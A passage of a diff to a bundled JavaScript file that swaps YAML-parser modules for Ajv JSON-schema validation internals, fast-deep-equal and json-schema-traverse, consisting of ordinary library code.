schema8.tags) { - if (!tag.collection && tag.tag === tagName) { - if (tag.default && tag.test) - matchWithTest.push(tag); - else - return tag; + exports28.schemaProperties = schemaProperties; + function callValidateCode({ schemaCode, data, it: { gen, topSchemaRef, schemaPath, errorPath }, it: it2 }, func, context2, passSchema) { + const dataAndSchema = passSchema ? (0, codegen_1._)`${schemaCode}, ${data}, ${topSchemaRef}${schemaPath}` : data; + const valCxt = [ + [names_1.default.instancePath, (0, codegen_1.strConcat)(names_1.default.instancePath, errorPath)], + [names_1.default.parentData, it2.parentData], + [names_1.default.parentDataProperty, it2.parentDataProperty], + [names_1.default.rootData, names_1.default.rootData] + ]; + if (it2.opts.dynamicRef) + valCxt.push([names_1.default.dynamicAnchors, names_1.default.dynamicAnchors]); + const args = (0, codegen_1._)`${dataAndSchema}, ${gen.object(...valCxt)}`; + return context2 !== codegen_1.nil ? (0, codegen_1._)`${func}.call(${context2}, ${args})` : (0, codegen_1._)`${func}(${args})`; } - } - for (const tag of matchWithTest) - if (tag.test?.test(value2)) - return tag; - const kt = schema8.knownTags[tagName]; - if (kt && !kt.collection) { - schema8.tags.push(Object.assign({}, kt, { default: false, test: void 0 })); - return kt; - } - onError(tagToken, "TAG_RESOLVE_FAILED", `Unresolved tag: ${tagName}`, tagName !== "tag:yaml.org,2002:str"); - return schema8[SCALAR]; -} -function findScalarTagByTest({ atKey, directives, schema: schema8 }, value2, token, onError) { - const tag = schema8.tags.find((tag2) => (tag2.default === true || atKey && tag2.default === "key") && tag2.test?.test(value2)) || schema8[SCALAR]; - if (schema8.compat) { - const compat = schema8.compat.find((tag2) => tag2.default && tag2.test?.test(value2)) ?? schema8[SCALAR]; - if (tag.tag !== compat.tag) { - const ts = directives.tagString(tag.tag); - const cs = directives.tagString(compat.tag); - const msg = `Value may be parsed as either ${ts} or ${cs}`; - onError(token, "TAG_RESOLVE_FAILED", msg, true); + exports28.callValidateCode = callValidateCode; + var newRegExp = (0, codegen_1._)`new RegExp`; + function usePattern({ gen, it: { opts } }, pattern5) { + const u7 = opts.unicodeRegExp ? "u" : ""; + const { regExp } = opts.code; + const rx = regExp(pattern5, u7); + return gen.scopeValue("pattern", { + key: rx.toString(), + ref: rx, + code: (0, codegen_1._)`${regExp.code === "new RegExp" ? newRegExp : (0, util_2.useFunc)(gen, regExp)}(${pattern5}, ${u7})` + }); } - } - return tag; -} -var init_compose_scalar = __esm({ - "node_modules/yaml/browser/dist/compose/compose-scalar.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_Scalar(); - init_resolve_block_scalar(); - init_resolve_flow_scalar(); - } -}); - -// node_modules/yaml/browser/dist/compose/util-empty-scalar-position.js -function emptyScalarPosition(offset, before2, pos) { - if (before2) { - pos ?? (pos = before2.length); - for (let i7 = pos - 1; i7 >= 0; --i7) { - let st2 = before2[i7]; - switch (st2.type) { - case "space": - case "comment": - case "newline": - offset -= st2.source.length; - continue; + exports28.usePattern = usePattern; + function validateArray(cxt) { + const { gen, data, keyword, it: it2 } = cxt; + const valid = gen.name("valid"); + if (it2.allErrors) { + const validArr = gen.let("valid", true); + validateItems(() => gen.assign(validArr, false)); + return validArr; } - st2 = before2[++i7]; - while (st2?.type === "space") { - offset += st2.source.length; - st2 = before2[++i7]; + gen.var(valid, true); + validateItems(() => gen.break()); + return valid; + function validateItems(notValid) { + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + gen.forRange("i", 0, len, (i7) => { + cxt.subschema({ + keyword, + dataProp: i7, + dataPropType: util_1.Type.Num + }, valid); + gen.if((0, codegen_1.not)(valid), notValid); + }); } - break; } - } - return offset; -} -var init_util_empty_scalar_position = __esm({ - "node_modules/yaml/browser/dist/compose/util-empty-scalar-position.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - } -}); - -// node_modules/yaml/browser/dist/compose/compose-node.js -function composeNode(ctx, token, props, onError) { - const atKey = ctx.atKey; - const { spaceBefore, comment, anchor, tag } = props; - let node; - let isSrcToken = true; - switch (token.type) { - case "alias": - node = composeAlias(ctx, token, onError); - if (anchor || tag) - onError(token, "ALIAS_PROPS", "An alias node must not specify any properties"); - break; - case "scalar": - case "single-quoted-scalar": - case "double-quoted-scalar": - case "block-scalar": - node = composeScalar(ctx, token, tag, onError); - if (anchor) - node.anchor = anchor.source.substring(1); - break; - case "block-map": - case "block-seq": - case "flow-collection": - node = composeCollection(CN, ctx, token, props, onError); - if (anchor) - node.anchor = anchor.source.substring(1); - break; - default: { - const message = token.type === "error" ? token.message : `Unsupported token (type: ${token.type})`; - onError(token, "UNEXPECTED_TOKEN", message); - node = composeEmptyNode(ctx, token.offset, void 0, null, props, onError); - isSrcToken = false; + exports28.validateArray = validateArray; + function validateUnion(cxt) { + const { gen, schema: schema8, keyword, it: it2 } = cxt; + if (!Array.isArray(schema8)) + throw new Error("ajv implementation error"); + const alwaysValid = schema8.some((sch) => (0, util_1.alwaysValidSchema)(it2, sch)); + if (alwaysValid && !it2.opts.unevaluated) + return; + const valid = gen.let("valid", false); + const schValid = gen.name("_valid"); + gen.block(() => schema8.forEach((_sch, i7) => { + const schCxt = cxt.subschema({ + keyword, + schemaProp: i7, + compositeRule: true + }, schValid); + gen.assign(valid, (0, codegen_1._)`${valid} || ${schValid}`); + const merged = cxt.mergeValidEvaluated(schCxt, schValid); + if (!merged) + gen.if((0, codegen_1.not)(valid)); + })); + cxt.result(valid, () => cxt.reset(), () => cxt.error(true)); } - } - if (anchor && node.anchor === "") - onError(anchor, "BAD_ALIAS", "Anchor cannot be an empty string"); - if (atKey && ctx.options.stringKeys && (!isScalar(node) || typeof node.value !== "string" || node.tag && node.tag !== "tag:yaml.org,2002:str")) { - const msg = "With stringKeys, all keys must be strings"; - onError(tag ?? token, "NON_STRING_KEY", msg); - } - if (spaceBefore) - node.spaceBefore = true; - if (comment) { - if (token.type === "scalar" && token.source === "") - node.comment = comment; - else - node.commentBefore = comment; - } - if (ctx.options.keepSourceTokens && isSrcToken) - node.srcToken = token; - return node; -} -function composeEmptyNode(ctx, offset, before2, pos, { spaceBefore, comment, anchor, tag, end }, onError) { - const token = { - type: "scalar", - offset: emptyScalarPosition(offset, before2, pos), - indent: -1, - source: "" - }; - const node = composeScalar(ctx, token, tag, onError); - if (anchor) { - node.anchor = anchor.source.substring(1); - if (node.anchor === "") - onError(anchor, "BAD_ALIAS", "Anchor cannot be an empty string"); - } - if (spaceBefore) - node.spaceBefore = true; - if (comment) { - node.comment = comment; - node.range[2] = end; - } - return node; -} -function composeAlias({ options }, { offset, source, end }, onError) { - const alias = new Alias(source.substring(1)); - if (alias.source === "") - onError(offset, "BAD_ALIAS", "Alias cannot be an empty string"); - if (alias.source.endsWith(":")) - onError(offset + source.length - 1, "BAD_ALIAS", "Alias ending in : is ambiguous", true); - const valueEnd = offset + source.length; - const re4 = resolveEnd(end, valueEnd, options.strict, onError); - alias.range = [offset, valueEnd, re4.offset]; - if (re4.comment) - alias.comment = re4.comment; - return alias; -} -var CN; -var init_compose_node = __esm({ - "node_modules/yaml/browser/dist/compose/compose-node.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_Alias(); - init_identity(); - init_compose_collection(); - init_compose_scalar(); - init_resolve_end(); - init_util_empty_scalar_position(); - CN = { composeNode, composeEmptyNode }; + exports28.validateUnion = validateUnion; } }); -// node_modules/yaml/browser/dist/compose/compose-doc.js -function composeDoc(options, directives, { offset, start, value: value2, end }, onError) { - const opts = Object.assign({ _directives: directives }, options); - const doc = new Document(void 0, opts); - const ctx = { - atKey: false, - atRoot: true, - directives: doc.directives, - options: doc.options, - schema: doc.schema - }; - const props = resolveProps(start, { - indicator: "doc-start", - next: value2 ?? end?.[0], - offset, - onError, - parentIndent: 0, - startOnNewline: true - }); - if (props.found) { - doc.directives.docStart = true; - if (value2 && (value2.type === "block-map" || value2.type === "block-seq") && !props.hasNewline) - onError(props.end, "MISSING_CHAR", "Block collection cannot start on same line with directives-end marker"); - } - doc.contents = value2 ? composeNode(ctx, value2, props, onError) : composeEmptyNode(ctx, props.end, start, null, props, onError); - const contentEnd = doc.contents.range[2]; - const re4 = resolveEnd(end, contentEnd, false, onError); - if (re4.comment) - doc.comment = re4.comment; - doc.range = [offset, contentEnd, re4.offset]; - return doc; -} -var init_compose_doc = __esm({ - "node_modules/yaml/browser/dist/compose/compose-doc.js"() { +// node_modules/ajv/dist/compile/validate/keyword.js +var require_keyword2 = __commonJS({ + "node_modules/ajv/dist/compile/validate/keyword.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Document(); - init_compose_node(); - init_resolve_end(); - init_resolve_props(); - } -}); - -// node_modules/yaml/browser/dist/compose/composer.js -function getErrorPos(src) { - if (typeof src === "number") - return [src, src + 1]; - if (Array.isArray(src)) - return src.length === 2 ? src : [src[0], src[1]]; - const { offset, source } = src; - return [offset, offset + (typeof source === "string" ? source.length : 1)]; -} -function parsePrelude(prelude) { - let comment = ""; - let atComment = false; - let afterEmptyLine = false; - for (let i7 = 0; i7 < prelude.length; ++i7) { - const source = prelude[i7]; - switch (source[0]) { - case "#": - comment += (comment === "" ? "" : afterEmptyLine ? "\n\n" : "\n") + (source.substring(1) || " "); - atComment = true; - afterEmptyLine = false; - break; - case "%": - if (prelude[i7 + 1]?.[0] !== "#") - i7 += 1; - atComment = false; - break; - default: - if (!atComment) - afterEmptyLine = true; - atComment = false; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.validateKeywordUsage = exports28.validSchemaType = exports28.funcKeywordCode = exports28.macroKeywordCode = void 0; + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var code_1 = require_code2(); + var errors_1 = require_errors(); + function macroKeywordCode(cxt, def) { + const { gen, keyword, schema: schema8, parentSchema, it: it2 } = cxt; + const macroSchema = def.macro.call(it2.self, schema8, parentSchema, it2); + const schemaRef = useKeyword(gen, keyword, macroSchema); + if (it2.opts.validateSchema !== false) + it2.self.validateSchema(macroSchema, true); + const valid = gen.name("valid"); + cxt.subschema({ + schema: macroSchema, + schemaPath: codegen_1.nil, + errSchemaPath: `${it2.errSchemaPath}/${keyword}`, + topSchemaRef: schemaRef, + compositeRule: true + }, valid); + cxt.pass(valid, () => cxt.error(true)); } - } - return { comment, afterEmptyLine }; -} -var Composer; -var init_composer = __esm({ - "node_modules/yaml/browser/dist/compose/composer.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_directives(); - init_Document(); - init_errors(); - init_identity(); - init_compose_doc(); - init_resolve_end(); - Composer = class { - constructor(options = {}) { - this.doc = null; - this.atDirectives = false; - this.prelude = []; - this.errors = []; - this.warnings = []; - this.onError = (source, code, message, warning) => { - const pos = getErrorPos(source); - if (warning) - this.warnings.push(new YAMLWarning(pos, code, message)); - else - this.errors.push(new YAMLParseError(pos, code, message)); - }; - this.directives = new Directives({ version: options.version || "1.2" }); - this.options = options; - } - decorate(doc, afterDoc) { - const { comment, afterEmptyLine } = parsePrelude(this.prelude); - if (comment) { - const dc = doc.contents; - if (afterDoc) { - doc.comment = doc.comment ? `${doc.comment} -${comment}` : comment; - } else if (afterEmptyLine || doc.directives.docStart || !dc) { - doc.commentBefore = comment; - } else if (isCollection(dc) && !dc.flow && dc.items.length > 0) { - let it2 = dc.items[0]; - if (isPair(it2)) - it2 = it2.key; - const cb = it2.commentBefore; - it2.commentBefore = cb ? `${comment} -${cb}` : comment; - } else { - const cb = dc.commentBefore; - dc.commentBefore = cb ? `${comment} -${cb}` : comment; - } - } - if (afterDoc) { - Array.prototype.push.apply(doc.errors, this.errors); - Array.prototype.push.apply(doc.warnings, this.warnings); + exports28.macroKeywordCode = macroKeywordCode; + function funcKeywordCode(cxt, def) { + var _a2; + const { gen, keyword, schema: schema8, parentSchema, $data, it: it2 } = cxt; + checkAsyncKeyword(it2, def); + const validate15 = !$data && def.compile ? def.compile.call(it2.self, schema8, parentSchema, it2) : def.validate; + const validateRef = useKeyword(gen, keyword, validate15); + const valid = gen.let("valid"); + cxt.block$data(valid, validateKeyword); + cxt.ok((_a2 = def.valid) !== null && _a2 !== void 0 ? _a2 : valid); + function validateKeyword() { + if (def.errors === false) { + assignValid(); + if (def.modifying) + modifyData(cxt); + reportErrs(() => cxt.error()); } else { - doc.errors = this.errors; - doc.warnings = this.warnings; + const ruleErrs = def.async ? validateAsync() : validateSync(); + if (def.modifying) + modifyData(cxt); + reportErrs(() => addErrs(cxt, ruleErrs)); } - this.prelude = []; - this.errors = []; - this.warnings = []; } - /** - * Current stream status information. - * - * Mostly useful at the end of input for an empty stream. - */ - streamInfo() { - return { - comment: parsePrelude(this.prelude).comment, - directives: this.directives, - errors: this.errors, - warnings: this.warnings - }; + function validateAsync() { + const ruleErrs = gen.let("ruleErrs", null); + gen.try(() => assignValid((0, codegen_1._)`await `), (e10) => gen.assign(valid, false).if((0, codegen_1._)`${e10} instanceof ${it2.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e10}.errors`), () => gen.throw(e10))); + return ruleErrs; } - /** - * Compose tokens into documents. - * - * @param forceDoc - If the stream contains no document, still emit a final document including any comments and directives that would be applied to a subsequent document. - * @param endOffset - Should be set if `forceDoc` is also set, to set the document range end and to indicate errors correctly. - */ - *compose(tokens, forceDoc = false, endOffset = -1) { - for (const token of tokens) - yield* this.next(token); - yield* this.end(forceDoc, endOffset); + function validateSync() { + const validateErrs = (0, codegen_1._)`${validateRef}.errors`; + gen.assign(validateErrs, null); + assignValid(codegen_1.nil); + return validateErrs; } - /** Advance the composer by one CST token. */ - *next(token) { - switch (token.type) { - case "directive": - this.directives.add(token.source, (offset, message, warning) => { - const pos = getErrorPos(token); - pos[0] += offset; - this.onError(pos, "BAD_DIRECTIVE", message, warning); - }); - this.prelude.push(token.source); - this.atDirectives = true; - break; - case "document": { - const doc = composeDoc(this.options, this.directives, token, this.onError); - if (this.atDirectives && !doc.directives.docStart) - this.onError(token, "MISSING_CHAR", "Missing directives-end/doc-start indicator line"); - this.decorate(doc, false); - if (this.doc) - yield this.doc; - this.doc = doc; - this.atDirectives = false; - break; - } - case "byte-order-mark": - case "space": - break; - case "comment": - case "newline": - this.prelude.push(token.source); - break; - case "error": { - const msg = token.source ? `${token.message}: ${JSON.stringify(token.source)}` : token.message; - const error2 = new YAMLParseError(getErrorPos(token), "UNEXPECTED_TOKEN", msg); - if (this.atDirectives || !this.doc) - this.errors.push(error2); - else - this.doc.errors.push(error2); - break; - } - case "doc-end": { - if (!this.doc) { - const msg = "Unexpected doc-end without preceding document"; - this.errors.push(new YAMLParseError(getErrorPos(token), "UNEXPECTED_TOKEN", msg)); - break; - } - this.doc.directives.docEnd = true; - const end = resolveEnd(token.end, token.offset + token.source.length, this.doc.options.strict, this.onError); - this.decorate(this.doc, true); - if (end.comment) { - const dc = this.doc.comment; - this.doc.comment = dc ? `${dc} -${end.comment}` : end.comment; - } - this.doc.range[2] = end.offset; - break; - } - default: - this.errors.push(new YAMLParseError(getErrorPos(token), "UNEXPECTED_TOKEN", `Unsupported token ${token.type}`)); - } + function assignValid(_await = def.async ? (0, codegen_1._)`await ` : codegen_1.nil) { + const passCxt = it2.opts.passContext ? names_1.default.this : names_1.default.self; + const passSchema = !("compile" in def && !$data || def.schema === false); + gen.assign(valid, (0, codegen_1._)`${_await}${(0, code_1.callValidateCode)(cxt, validateRef, passCxt, passSchema)}`, def.modifying); } - /** - * Call at end of input to yield any remaining document. - * - * @param forceDoc - If the stream contains no document, still emit a final document including any comments and directives that would be applied to a subsequent document. - * @param endOffset - Should be set if `forceDoc` is also set, to set the document range end and to indicate errors correctly. - */ - *end(forceDoc = false, endOffset = -1) { - if (this.doc) { - this.decorate(this.doc, true); - yield this.doc; - this.doc = null; - } else if (forceDoc) { - const opts = Object.assign({ _directives: this.directives }, this.options); - const doc = new Document(void 0, opts); - if (this.atDirectives) - this.onError(endOffset, "MISSING_CHAR", "Missing directives-end indicator line"); - doc.range = [0, endOffset, endOffset]; - this.decorate(doc, false); - yield doc; + function reportErrs(errors) { + var _a3; + gen.if((0, codegen_1.not)((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid), errors); + } + } + exports28.funcKeywordCode = funcKeywordCode; + function modifyData(cxt) { + const { gen, data, it: it2 } = cxt; + gen.if(it2.parentData, () => gen.assign(data, (0, codegen_1._)`${it2.parentData}[${it2.parentDataProperty}]`)); + } + function addErrs(cxt, errs) { + const { gen } = cxt; + gen.if((0, codegen_1._)`Array.isArray(${errs})`, () => { + gen.assign(names_1.default.vErrors, (0, codegen_1._)`${names_1.default.vErrors} === null ? ${errs} : ${names_1.default.vErrors}.concat(${errs})`).assign(names_1.default.errors, (0, codegen_1._)`${names_1.default.vErrors}.length`); + (0, errors_1.extendErrors)(cxt); + }, () => cxt.error()); + } + function checkAsyncKeyword({ schemaEnv }, def) { + if (def.async && !schemaEnv.$async) + throw new Error("async keyword in sync schema"); + } + function useKeyword(gen, keyword, result2) { + if (result2 === void 0) + throw new Error(`keyword "${keyword}" failed to compile`); + return gen.scopeValue("keyword", typeof result2 == "function" ? { ref: result2 } : { ref: result2, code: (0, codegen_1.stringify)(result2) }); + } + function validSchemaType(schema8, schemaType, allowUndefined = false) { + return !schemaType.length || schemaType.some((st2) => st2 === "array" ? Array.isArray(schema8) : st2 === "object" ? schema8 && typeof schema8 == "object" && !Array.isArray(schema8) : typeof schema8 == st2 || allowUndefined && typeof schema8 == "undefined"); + } + exports28.validSchemaType = validSchemaType; + function validateKeywordUsage({ schema: schema8, opts, self: self2, errSchemaPath }, def, keyword) { + if (Array.isArray(def.keyword) ? !def.keyword.includes(keyword) : def.keyword !== keyword) { + throw new Error("ajv implementation error"); + } + const deps = def.dependencies; + if (deps === null || deps === void 0 ? void 0 : deps.some((kwd) => !Object.prototype.hasOwnProperty.call(schema8, kwd))) { + throw new Error(`parent schema must have dependencies of ${keyword}: ${deps.join(",")}`); + } + if (def.validateSchema) { + const valid = def.validateSchema(schema8[keyword]); + if (!valid) { + const msg = `keyword "${keyword}" value is invalid at path "${errSchemaPath}": ` + self2.errorsText(def.validateSchema.errors); + if (opts.validateSchema === "log") + self2.logger.error(msg); + else + throw new Error(msg); } } - }; - } -}); - -// node_modules/yaml/browser/dist/parse/cst-scalar.js -var init_cst_scalar = __esm({ - "node_modules/yaml/browser/dist/parse/cst-scalar.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_resolve_block_scalar(); - init_resolve_flow_scalar(); - init_errors(); - init_stringifyString(); + } + exports28.validateKeywordUsage = validateKeywordUsage; } }); -// node_modules/yaml/browser/dist/parse/cst-stringify.js -var init_cst_stringify = __esm({ - "node_modules/yaml/browser/dist/parse/cst-stringify.js"() { +// node_modules/ajv/dist/compile/validate/subschema.js +var require_subschema = __commonJS({ + "node_modules/ajv/dist/compile/validate/subschema.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - } -}); - -// node_modules/yaml/browser/dist/parse/cst-visit.js -function visit2(cst, visitor) { - if ("type" in cst && cst.type === "document") - cst = { start: cst.start, value: cst.value }; - _visit(Object.freeze([]), cst, visitor); -} -function _visit(path2, item, visitor) { - let ctrl = visitor(item, path2); - if (typeof ctrl === "symbol") - return ctrl; - for (const field of ["key", "value"]) { - const token = item[field]; - if (token && "items" in token) { - for (let i7 = 0; i7 < token.items.length; ++i7) { - const ci = _visit(Object.freeze(path2.concat([[field, i7]])), token.items[i7], visitor); - if (typeof ci === "number") - i7 = ci - 1; - else if (ci === BREAK2) - return BREAK2; - else if (ci === REMOVE2) { - token.items.splice(i7, 1); - i7 -= 1; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.extendSubschemaMode = exports28.extendSubschemaData = exports28.getSubschema = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + function getSubschema(it2, { keyword, schemaProp, schema: schema8, schemaPath, errSchemaPath, topSchemaRef }) { + if (keyword !== void 0 && schema8 !== void 0) { + throw new Error('both "keyword" and "schema" passed, only one allowed'); + } + if (keyword !== void 0) { + const sch = it2.schema[keyword]; + return schemaProp === void 0 ? { + schema: sch, + schemaPath: (0, codegen_1._)`${it2.schemaPath}${(0, codegen_1.getProperty)(keyword)}`, + errSchemaPath: `${it2.errSchemaPath}/${keyword}` + } : { + schema: sch[schemaProp], + schemaPath: (0, codegen_1._)`${it2.schemaPath}${(0, codegen_1.getProperty)(keyword)}${(0, codegen_1.getProperty)(schemaProp)}`, + errSchemaPath: `${it2.errSchemaPath}/${keyword}/${(0, util_1.escapeFragment)(schemaProp)}` + }; + } + if (schema8 !== void 0) { + if (schemaPath === void 0 || errSchemaPath === void 0 || topSchemaRef === void 0) { + throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"'); } + return { + schema: schema8, + schemaPath, + topSchemaRef, + errSchemaPath + }; } - if (typeof ctrl === "function" && field === "key") - ctrl = ctrl(item, path2); + throw new Error('either "keyword" or "schema" must be passed'); + } + exports28.getSubschema = getSubschema; + function extendSubschemaData(subschema, it2, { dataProp, dataPropType: dpType, data, dataTypes, propertyName }) { + if (data !== void 0 && dataProp !== void 0) { + throw new Error('both "data" and "dataProp" passed, only one allowed'); + } + const { gen } = it2; + if (dataProp !== void 0) { + const { errorPath, dataPathArr, opts } = it2; + const nextData = gen.let("data", (0, codegen_1._)`${it2.data}${(0, codegen_1.getProperty)(dataProp)}`, true); + dataContextProps(nextData); + subschema.errorPath = (0, codegen_1.str)`${errorPath}${(0, util_1.getErrorPath)(dataProp, dpType, opts.jsPropertySyntax)}`; + subschema.parentDataProperty = (0, codegen_1._)`${dataProp}`; + subschema.dataPathArr = [...dataPathArr, subschema.parentDataProperty]; + } + if (data !== void 0) { + const nextData = data instanceof codegen_1.Name ? data : gen.let("data", data, true); + dataContextProps(nextData); + if (propertyName !== void 0) + subschema.propertyName = propertyName; + } + if (dataTypes) + subschema.dataTypes = dataTypes; + function dataContextProps(_nextData) { + subschema.data = _nextData; + subschema.dataLevel = it2.dataLevel + 1; + subschema.dataTypes = []; + it2.definedProperties = /* @__PURE__ */ new Set(); + subschema.parentData = it2.data; + subschema.dataNames = [...it2.dataNames, _nextData]; + } + } + exports28.extendSubschemaData = extendSubschemaData; + function extendSubschemaMode(subschema, { jtdDiscriminator, jtdMetadata, compositeRule, createErrors, allErrors }) { + if (compositeRule !== void 0) + subschema.compositeRule = compositeRule; + if (createErrors !== void 0) + subschema.createErrors = createErrors; + if (allErrors !== void 0) + subschema.allErrors = allErrors; + subschema.jtdDiscriminator = jtdDiscriminator; + subschema.jtdMetadata = jtdMetadata; } + exports28.extendSubschemaMode = extendSubschemaMode; } - return typeof ctrl === "function" ? ctrl(item, path2) : ctrl; -} -var BREAK2, SKIP2, REMOVE2; -var init_cst_visit = __esm({ - "node_modules/yaml/browser/dist/parse/cst-visit.js"() { +}); + +// node_modules/fast-deep-equal/index.js +var require_fast_deep_equal = __commonJS({ + "node_modules/fast-deep-equal/index.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - BREAK2 = Symbol("break visit"); - SKIP2 = Symbol("skip children"); - REMOVE2 = Symbol("remove item"); - visit2.BREAK = BREAK2; - visit2.SKIP = SKIP2; - visit2.REMOVE = REMOVE2; - visit2.itemAtPath = (cst, path2) => { - let item = cst; - for (const [field, index4] of path2) { - const tok = item?.[field]; - if (tok && "items" in tok) { - item = tok.items[index4]; - } else - return void 0; + module5.exports = function equal2(a7, b8) { + if (a7 === b8) + return true; + if (a7 && b8 && typeof a7 == "object" && typeof b8 == "object") { + if (a7.constructor !== b8.constructor) + return false; + var length, i7, keys2; + if (Array.isArray(a7)) { + length = a7.length; + if (length != b8.length) + return false; + for (i7 = length; i7-- !== 0; ) + if (!equal2(a7[i7], b8[i7])) + return false; + return true; + } + if (a7.constructor === RegExp) + return a7.source === b8.source && a7.flags === b8.flags; + if (a7.valueOf !== Object.prototype.valueOf) + return a7.valueOf() === b8.valueOf(); + if (a7.toString !== Object.prototype.toString) + return a7.toString() === b8.toString(); + keys2 = Object.keys(a7); + length = keys2.length; + if (length !== Object.keys(b8).length) + return false; + for (i7 = length; i7-- !== 0; ) + if (!Object.prototype.hasOwnProperty.call(b8, keys2[i7])) + return false; + for (i7 = length; i7-- !== 0; ) { + var key = keys2[i7]; + if (!equal2(a7[key], b8[key])) + return false; + } + return true; } - return item; - }; - visit2.parentCollection = (cst, path2) => { - const parent2 = visit2.itemAtPath(cst, path2.slice(0, -1)); - const field = path2[path2.length - 1][0]; - const coll = parent2?.[field]; - if (coll && "items" in coll) - return coll; - throw new Error("Parent collection not found"); + return a7 !== a7 && b8 !== b8; }; } }); -// node_modules/yaml/browser/dist/parse/cst.js -function tokenType(source) { - switch (source) { - case BOM: - return "byte-order-mark"; - case DOCUMENT: - return "doc-mode"; - case FLOW_END: - return "flow-error-end"; - case SCALAR2: - return "scalar"; - case "---": - return "doc-start"; - case "...": - return "doc-end"; - case "": - case "\n": - case "\r\n": - return "newline"; - case "-": - return "seq-item-ind"; - case "?": - return "explicit-key-ind"; - case ":": - return "map-value-ind"; - case "{": - return "flow-map-start"; - case "}": - return "flow-map-end"; - case "[": - return "flow-seq-start"; - case "]": - return "flow-seq-end"; - case ",": - return "comma"; - } - switch (source[0]) { - case " ": - case " ": - return "space"; - case "#": - return "comment"; - case "%": - return "directive-line"; - case "*": - return "alias"; - case "&": - return "anchor"; - case "!": - return "tag"; - case "'": - return "single-quoted-scalar"; - case '"': - return "double-quoted-scalar"; - case "|": - case ">": - return "block-scalar-header"; - } - return null; -} -var BOM, DOCUMENT, FLOW_END, SCALAR2; -var init_cst = __esm({ - "node_modules/yaml/browser/dist/parse/cst.js"() { +// node_modules/json-schema-traverse/index.js +var require_json_schema_traverse = __commonJS({ + "node_modules/json-schema-traverse/index.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_cst_scalar(); - init_cst_stringify(); - init_cst_visit(); - BOM = "\uFEFF"; - DOCUMENT = ""; - FLOW_END = ""; - SCALAR2 = ""; + var traverse4 = module5.exports = function(schema8, opts, cb) { + if (typeof opts == "function") { + cb = opts; + opts = {}; + } + cb = opts.cb || cb; + var pre = typeof cb == "function" ? cb : cb.pre || function() { + }; + var post = cb.post || function() { + }; + _traverse(opts, pre, post, schema8, "", schema8); + }; + traverse4.keywords = { + additionalItems: true, + items: true, + contains: true, + additionalProperties: true, + propertyNames: true, + not: true, + if: true, + then: true, + else: true + }; + traverse4.arrayKeywords = { + items: true, + allOf: true, + anyOf: true, + oneOf: true + }; + traverse4.propsKeywords = { + $defs: true, + definitions: true, + properties: true, + patternProperties: true, + dependencies: true + }; + traverse4.skipKeywords = { + default: true, + enum: true, + const: true, + required: true, + maximum: true, + minimum: true, + exclusiveMaximum: true, + exclusiveMinimum: true, + multipleOf: true, + maxLength: true, + minLength: true, + pattern: true, + format: true, + maxItems: true, + minItems: true, + uniqueItems: true, + maxProperties: true, + minProperties: true + }; + function _traverse(opts, pre, post, schema8, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex) { + if (schema8 && typeof schema8 == "object" && !Array.isArray(schema8)) { + pre(schema8, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex); + for (var key in schema8) { + var sch = schema8[key]; + if (Array.isArray(sch)) { + if (key in traverse4.arrayKeywords) { + for (var i7 = 0; i7 < sch.length; i7++) + _traverse(opts, pre, post, sch[i7], jsonPtr + "/" + key + "/" + i7, rootSchema, jsonPtr, key, schema8, i7); + } + } else if (key in traverse4.propsKeywords) { + if (sch && typeof sch == "object") { + for (var prop in sch) + _traverse(opts, pre, post, sch[prop], jsonPtr + "/" + key + "/" + escapeJsonPtr(prop), rootSchema, jsonPtr, key, schema8, prop); + } + } else if (key in traverse4.keywords || opts.allKeys && !(key in traverse4.skipKeywords)) { + _traverse(opts, pre, post, sch, jsonPtr + "/" + key, rootSchema, jsonPtr, key, schema8); + } + } + post(schema8, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex); + } + } + function escapeJsonPtr(str2) { + return str2.replace(/~/g, "~0").replace(/\//g, "~1"); + } } }); -// node_modules/yaml/browser/dist/parse/lexer.js -function isEmpty(ch) { - switch (ch) { - case void 0: - case " ": - case "\n": - case "\r": - case " ": - return true; - default: - return false; - } -} -var hexDigits, tagChars, flowIndicatorChars, invalidAnchorChars, isNotAnchorChar, Lexer; -var init_lexer = __esm({ - "node_modules/yaml/browser/dist/parse/lexer.js"() { +// node_modules/ajv/dist/compile/resolve.js +var require_resolve = __commonJS({ + "node_modules/ajv/dist/compile/resolve.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_cst(); - hexDigits = new Set("0123456789ABCDEFabcdef"); - tagChars = new Set("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-#;/?:@&=+$_.!~*'()"); - flowIndicatorChars = new Set(",[]{}"); - invalidAnchorChars = new Set(" ,[]{}\n\r "); - isNotAnchorChar = (ch) => !ch || invalidAnchorChars.has(ch); - Lexer = class { - constructor() { - this.atEnd = false; - this.blockScalarIndent = -1; - this.blockScalarKeep = false; - this.buffer = ""; - this.flowKey = false; - this.flowLevel = 0; - this.indentNext = 0; - this.indentValue = 0; - this.lineEndPos = null; - this.next = null; - this.pos = 0; - } - /** - * Generate YAML tokens from the `source` string. If `incomplete`, - * a part of the last line may be left as a buffer for the next call. - * - * @returns A generator of lexical tokens - */ - *lex(source, incomplete = false) { - if (source) { - if (typeof source !== "string") - throw TypeError("source is not a string"); - this.buffer = this.buffer ? this.buffer + source : source; - this.lineEndPos = null; - } - this.atEnd = !incomplete; - let next = this.next ?? "stream"; - while (next && (incomplete || 